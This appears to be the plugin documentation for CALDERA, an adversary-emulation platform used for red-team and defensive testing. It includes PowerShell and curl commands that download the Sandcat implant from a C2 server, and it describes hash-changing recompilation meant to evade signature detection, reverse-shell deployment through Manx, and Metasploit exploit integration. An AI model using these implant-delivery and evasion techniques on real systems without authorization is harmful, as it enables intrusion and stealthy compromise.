Plugin library

Here you’ll get a run-down of all open-source plugins, all of which can be found in the plugins/ directory as separate GIT repositories.

To enable a plugin, add it to the default.yml file in the conf/ directory. Make sure your server is stopped when editing the default.yml file.

Plugins can also be enabled through the GUI. Go to Advanced -> Configuration and then click on the ‘enable’ button for the plugin you would like to enable.

Sandcat

The Sandcat plugin contains the default agent that CALDERA ships with. Sandcat is written in GoLang for cross-platform compatibility.

Sandcat agents require network connectivity to CALDERA at port 8888.

Deploy

To deploy Sandcat, use one of the built-in delivery commands which allows you to run the agent on any operating system. Each of these commands downloads the compiled Sandcat executable from CALDERA and runs it immediately. Find the commands on the Sandcat plugin tab.

Once the agent is running, it should show log messages when it beacons into CALDERA.

If you have GoLang installed on the CALDERA server, each time you run one of the delivery commands above, the agent will re-compile itself dynamically and it will change it’s source code so it gets a different file hash (MD5) and a random name that blends into the operating system. This will help bypass file-based signature detections.

Options

When deploying a Sandcat agent, there are optional parameters you can use when you start the executable:

  • Server: This is the location of CALDERA. The agent must have connectivity to this host/port.

  • Group: This is the group name that you would like the agent to join when it starts. The group does not have to exist. A default group of my_group will be used if none is passed in.

  • v: Use -v to see verbose output from sandcat. Otherwise, sandcat will run silently.

Extensions

In order to keep the agent code lightweight, the default Sandcat agent binary ships with limited basic functionality. Users can dynamically compile additional features, referred to as “gocat extensions”. Each extension adds to the existing gocat module code to provide functionality such as peer-to-peer proxy implementations, additional executors, and additional C2 contact protocols.

To request particular gocat extensions, users can include the gocat-extensions HTTP header when asking the C2 to compile an agent. The header value must be a comma-separated list of requested extensions. The server will include the extensions in the binary if they exist and if their dependencies are met (i.e. if extension A requires a particular Golang module that is not installed on the server, then extension A will not be included).

Below is an example powershell snippet to request the C2 server to include the proxy_http and shells extensions:

$url="http://192.168.137.1:8888/file/download"; # change server IP/port as needed
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows"); # specifying Windows build
$wc.Headers.add("file","sandcat.go"); # requesting sandcat binary
$wc.Headers.add("gocat-extensions","proxy_http,shells"); # requesting the extensions
$output="C:\Users\Public\sandcat.exe"; # specify destination filename
$wc.DownloadFile($url,$output); # download

The following features are included in the stock agent:

  • HTTP C2 contact protocol

  • psh PowerShell executor (Windows)

  • cmd cmd.exe executor (Windows)

  • sh shell executor (Linux/Mac)

  • proc executor to directly spawn processes from executables without needing to invoke a shell (Windows/Linux/Mac)

Additional functionality can be found in the following gocat extensions:

  • gist extension provides the Github gist C2 contact protocol.

  • shells extension provides the osascript (Mac Osascript) and pwsh (Windows powershell core) executors.

  • shellcode extension provides the shellcode executors.

  • proxy_http extension provides the HTTP peer-to-peer proxy receiver.

  • proxy_smb_pipe extension provides the SmbPipe peer-to-peer proxy client and receiver for Windows (peer-to-peer communication via SMB named pipes).

  • donut extension provides the Donut functionality to execute various assemblies in memory. See https://github.com/TheWover/donut for additional information.

  • shared extension provides the C sharing functionality for Sandcat.

Customizing Default Options & Execution Without CLI Options

It’s possible to customize the default values of these options when pulling Sandcat from the CALDERA server.
This is useful if you want to hide the parameters from the process tree. You can do this by passing the values in as headers instead of as parameters.

For example, the following will download a linux executable that will use http://10.0.0.2:8888 as the server address instead of http://localhost:8888.

curl -sk -X POST -H 'file:sandcat.go' -H 'platform:linux' -H 'server:http://10.0.0.2:8888' http://localhost:8888/file/download > sandcat.sh

Mock

The Mock plugin adds a set of simulated agents to CALDERA and allows you to run complete operations without hooking any other computers up to your server.

These agents are created inside the conf/agents.yml file. They can be edited and you can create as many as you’d like. A sample agent looks like:

- paw: 1234
  username: darthvader
  host: deathstar
  group: simulation
  platform: windows
  location: C:\Users\Public
  enabled: True
  privilege: User
  c2: HTTP
  exe_name: sandcat.exe
  executors:
    - pwsh
    - psh

After you load the mock plugin and restart CALDERA, all simulated agents will appear as normal agents in the Chain plugin GUI and can be used in any operation.

Manx

The terminal plugin adds reverse-shell capability to CALDERA, along with a TCP-based agent called Manx.

When this plugin is loaded, you’ll get access to a new GUI page which allows you to drop reverse-shells on target hosts and interact manually with the hosts.

You can use the terminal emulator on the Terminal GUI page to interact with your sessions.

Stockpile

The stockpile plugin adds a few components to CALDERA:

  • Abilities

  • Adversaries

  • Planner

  • Facts

These components are all loaded through the plugins/stockpile/data/* directory.

Response

The response plugin is an autonomous incident response plugin, which can fight back against adversaries on a compromised host.

Similar to the stockpile plugin, it contains adversaries, abilties, and facts intended for incident response. These components are all loaded through the plugins/response/data/* directory.

Compass

Create visualizations to explore TTPs. Follow the steps below to create your own visualization:

  1. Click ‘Generate Layer’

  2. Click ‘+’ to open a new tab in the navigator

  3. Select ‘Open Existing Layer’

  4. Select ‘Upload from local’ and upload the generated layer file

Compass leverages ATT&CK Navigator, for more information see: https://github.com/mitre-attack/attack-navigator

Caltack

The caltack plugin adds the public MITRE ATT&CK website to CALDERA. This is useful for deployments of CALDERA where an operator cannot access the Internet to reference the MITRE ATT&CK matrix.

After loading this plugin and restarting, the ATT&CK website is available from the CALDERA home page. Not all parts of the ATT&CK website will be available - but we aim to keep those pertaining to tactics and techniques accessible.

SSL

The SSL plugin adds HTTPS to CALDERA.

This plugin only works if CALDERA is running on a Linux or MacOS machine. It requires HaProxy (>= 1.8) to be installed prior to using it.

When this plugin has been loaded, CALDERA will start the HAProxy service on the machine and serve CALDERA on all interfaces on port 8443, in addition to the normal http://[YOUR_IP]:8888 (based on the value of the host value in the CALDERA settings).

Plugins and agents will not automatically update to the service at https://[YOUR_IP]:8443. All agents will need to be redeployed using the HTTPS address to use the secure protocol. The address will not automatically populate in the agent deployment menu. If a self-signed certificate is used, deploying agents may require additional commands to disable SSL certificate checks.

Warning: This plugin uses a default self-signed ssl certificate and key which should be replaced. In order to use this plugin securely, you need to generate your own certificate. The directions below show how to generate a new self-signed certificate.

Setup Instructions

Note: OpenSSL must be installed on your system to generate a new self-signed certificate

  1. In the root CALDERA directory, navigate to plugins/ssl.

  2. Place a PEM file containing SSL public and private keys in conf/certificate.pem. Follow the instructions below to generate a new self-signed certificate:

    • In a terminal, paste the command openssl req -x509 -newkey rsa:4096 -out conf/certificate.pem -keyout conf/certificate.pem -nodes and press enter.

    • This will prompt you for identifying details. Enter your country code when prompted. You may leave the rest blank by pressing enter.

  3. Copy the file haproxy.conf from the templates directory to the conf directory.

  4. Open the file conf/haproxy.conf in a text editor.

  5. On the line bind *:8443 ssl crt plugins/ssl/conf/insecure_certificate.pem, replace insecure_certificate.pem with certificate.pem.

  6. On the line server caldera_main 127.0.0.1:8888 cookie caldera_main, replace 127.0.0.1:8888 with the host and port defined in CALDERA’s conf/local.yml file. This should not be required if CALDERA’s configuration has not been changed.

  7. Save and close the file. Congratulations! You can now use CALDERA securely by accessing the UI https://[YOUR_IP]:8443 and redeploying agents using the HTTPS service.

Atomic

The Atomic plugin imports all Red Canary Atomic tests from their open-source GitHub repository.

GameBoard

The GameBoard plugin allows you to monitor both red-and-blue team operations. The game tracks points for both sides and determines which one is “winning”. The scoring seeks to quantify the amount of true/false positives/negatives produced by the blue team. The blue team is rewarded points when they are able to catch the red team’s actions, and the red team is rewarded when the blue team is not able to correctly do so. Additionally, abilities are rewarded different amounts of points depending on the tactic they fulfill.

To begin a gameboard exercise, first log in as blue user and deploy an agent. The ‘Auto-Collect’ operation will execute automatically. Alternatively, you can begin a different operation with the blue agent if you desire. Log in as red user and begin another operation. Open up the gameboard plugin from the GUI and select these new respective red and blue operations to monitor points for each operation.

Human

The Human plugin allows you to build “Humans” that will perform user actions on a target system as a means to obfuscate red actions by Caldera. Each human is built for a specific operating system and leverages the Chrome browser along with other native OS applications to perform a variety of tasks. Additionally, these humans can have various aspects of their behavior “tuned” to add randomization to the behaviors on the target system.

On the CALDERA server, there are additional python packages required in order to use the Human plugin. These python packages can be installed by navigating to the plugins/human/ directory and running the command pip3 install -r requirements.txt

With the python package installed and the plugin enabled in the configuration file, the Human plugin is ready for use. When opening the plugin within CALDERA, there are a few actions that the human can perform. Check the box for each action you would like the human to perform. Once the actions are selected, then “Generate” the human.

The generated human will show a deployment command for how to run it on a target machine. Before deploying the human on a target machine, there are 3 requirements:

  1. Install python3 on the target machine

  2. Install the python package virtualenv on the target machine

  3. Install Google Chrome on the target machine

Once the requirements above are met, then copy the human deployment command from the CALDERA server and run it on the target machine. The deployment command downloads a tar file from the CALDERA server, un-archives it, and starts the human using python. The human runs in a python virtual environment to ensure there are no package conflicts with pre-existing packages.

Training

This plugin allows a user to gain a “User Certificate” which proves their ability to use CALDERA. This is the first of several certificates planned in the future. The plugin takes you through a capture-the-flag style certification course, covering all parts CALDERA.

Access

This plugin allows you to task any agent with any ability from the database. It also allows you to conduct Initial Access Attacks.

Metasploit Integration

The Access plugin also allows for the easy creation of abilities for Metasploit exploits.

Prerequisites:

  • An agent running on a host that has Metasploit installed and initialized (run it once to set up Metasploit’s database)

  • The app.contact.http option in CALDERA’s configuration includes http://

  • A fact source that includes a app.api_key.red fact with a value equal to the api_key_red option in CALDERA’s configuration

Within the build-capabilities tactic there is an ability called Load Metasploit Abilities. Run this ability with an agent and fact source as described above, which will add a new ability for each Metasploit exploit. These abilities can then be found under the metasploit tactic. Note that this process may take 15 minutes.

If the exploit has options you want to use, you’ll need to customize the ability’s command field. Start an operation in manual mode, and modify the command field before adding the potential link to the operation. For example, to set RHOSTS for the exploit, modify command to include set RHOSTS <MY_RHOSTS_VALUE>; between use <EXPLOIT_NAME>; and run.

Alternatively, you can set options by adding a fact for each option with the msf. prefix. For example, to set RHOST, add a fact called msf.RHOST. Then in the ability’s command field add set RHOSTS \#{msf.RHOSTS}; between use <EXPLOIT_NAME>; and run.

Builder

The Builder plugin enables CALDERA to dynamically compile code segments into payloads that can be executed as abilities by implants. Currently, only C# is supported.

See Dynamically-Compiled Payloads for examples on how to create abilities that leverage these payloads.

Debrief

The Debrief plugin provides a method for gathering overall campaign information and analytics for a selected set of operations. It provides a centralized view of operation metadata and graphical displays of the operations, the techniques and tactics used, and the facts discovered by the operations.

The plugin additionally supports the export of campaign information and analytics in PDF format.